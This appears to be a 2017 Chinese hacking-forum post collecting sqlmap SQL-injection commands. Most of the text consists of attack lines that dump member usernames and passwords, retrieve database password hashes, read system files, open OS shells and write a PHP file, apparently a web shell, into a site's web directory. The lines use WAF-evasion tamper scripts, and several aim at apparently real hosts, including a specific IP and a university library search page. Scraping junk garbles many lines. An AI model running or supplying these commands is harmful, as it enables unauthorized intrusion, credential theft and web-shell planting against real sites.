找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1710|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap& {2 o2 B! s* D

* k+ M5 r4 p+ j% mupdate :::::>     in the folder   after  execute    following   order : svn update
/ |* P$ i* V/ v& |5 m+ s0 M0 L9 ]5 {% A+ ]# r* d4 e
sqlmap.py -r 1.txt --current-db
5 j3 i0 T9 ~: |$ O! R
/ |9 H) N& j0 i4 e! t+ O) y* u2 V7 x; |v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”3 |9 n4 I$ C' e: A1 {8 `
3 T$ p6 ]" w8 K& z0 R" x
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
. J) `% O6 u& t# B7 C0 K猜解数据库
4 e6 _. t/ ^# B( E& m./sqlmap.py -u "injection-url" --dbs% I, G  z6 o- e6 V3 w
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
9 L$ H8 C2 o9 ?+ b1 T% U! J. d' \1 T0 n( ]" S- y* Z! e( t3 }
猜解表名
: i% i: `5 {/ G$ F$ I( d./sqlmap.py -u "injection-url" -D database_name --tables5 X$ L' i9 w, P0 O. X3 |& q3 G, w

7 o6 N* j( S+ y6 P: }9 d6 |6 wsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"- p; o+ L/ T7 P3 a
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
+ J# d; t: D4 K2 a3 Q; v1 u
* J3 r8 L+ p7 f0 s+ D4 Lsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
; H! C+ M5 Y- `6 f, Y$ l/ O2 D6 V# p* y% Y' r/ a
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"& L& F, o" X5 g" ]% R+ E
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
4 U; a* v6 H, ]% ~3 r% Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
1 O4 N% P, I& b/ |" ~sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
4 [/ J' [7 n9 x+ t3 h6 S3 g6 E- G7 i3 q8 m
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"4 Z. c4 R3 t# M, o
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
' I5 ~8 H, ^) U2 \3 T/ }& z* Gsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"6 \+ d1 J# F. V$ ^
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"8 Y+ ^* r$ e- z1 K. ?3 X) }
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump! {2 O  l  m6 T) ]

$ V. ~6 |# T, ~) Ysqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了& g* H" \3 E: Y$ n+ B. L
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"9 _6 k" m; ]2 o! J, H% E

5 c( S7 d4 D* a& P. X; Msqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
% K! p/ _  E" f0 F猜解列名
9 q* @0 s) d& r( R& G./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
" A& g3 |3 y( j, t
& ]6 T0 g7 p; g% R* e# isqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" ; l% b8 U8 w% G" ^! ]4 y' f
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
; z; ^% y  J  H) U+ t! K2 Dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"4 b7 x+ F: G4 z. u0 a

3 B( b, K* W$ P/ Lsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
  s8 A5 q5 \4 f! U&submit=Go
: c6 u8 Y# V& q" g3 D猜解值3 B5 f# I4 s3 }/ e; F% h
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump5 h8 |! F2 l8 j3 ~3 t4 g3 l. i, t
========================================================
( `+ L0 h# J" ?$ B* O搜索表名中包括mana字符的1 M) I+ F, ~/ p( P/ ^
/sqlmap.py -u "injection-url" -T mana --search
, ?/ \# }4 R. B8 i' v返回一个交互式sql shell" x9 A% _' G1 X# }2 }# O- y
/sqlmap.py -u "injection-url" --sql-shell
2 c% W2 x: q6 [4 n$ g+ Q读取指定文件(需权限)
. H; P1 A. S4 `$ l/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"6 x: U; d7 U9 \5 @0 l2 b# a
查看当前 用户 及 数据库 2 E5 G, K, N# x- E! ^
/sqlmap.py -u "injection-url" --current-user --current-db  L3 F( t+ i$ A! n/ d* r% L
本地文件 写入 远程目标绝对路径' n  V+ D* v( |5 S
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径# Z, f- O: ^; J: U7 H' C
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
, C8 U/ a2 l5 ]+ k
9 y4 `) e) }( P' A+ tsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
# e$ ~4 F. S  W* v+ y" A查看某用的权限- B/ k" s% w1 W# \" _" j
/sqlmap.py -u "injection-url" --privileges -U root8 ^3 O! B8 }1 i# N( x
查看当前用户是否为dba
- G3 B& s' B/ |2 |& M4 K+ M/sqlmap.py -u "injection-url" --is-dba9 ^1 P; {; v* j- S  f( F9 m( n
读取所有数据库用户或指定数据库用户的密码7 I/ {6 Q/ [8 A0 E
sqlmap.py -r 1.txt --users --passwords4 T: C( B; |8 Q
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
5 D4 ]! Y& ]$ p/ D( ~; j5 ]* r
. p1 j5 w. k3 D( c/sqlmap.py -u "injection-url" --passwords -U root
: ?2 p# ?" J0 Q0 h
! J' n0 y/ P+ p7 @/ \2 S+ f--start&&--stop 与 --first&&--last 的区别
6 f: ?) v7 l! d0 Q7 _$ d% j, [/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
% f: ^/ B. u/ t3 Y5 T# }8 a4 g: V; l& e! y' g: e2 i5 C/ [
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt). u9 G- X+ {) k6 V
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables7 I3 \# W0 u! M
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
. U& p' ?9 H! o& I1 |
* ~8 i4 t4 H8 X  [) _/ X; \执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
: z$ V' ]" e% e) i3 o0 u/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"! g6 y) S7 _" L4 B4 q

: n4 ]. [4 b2 W5 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表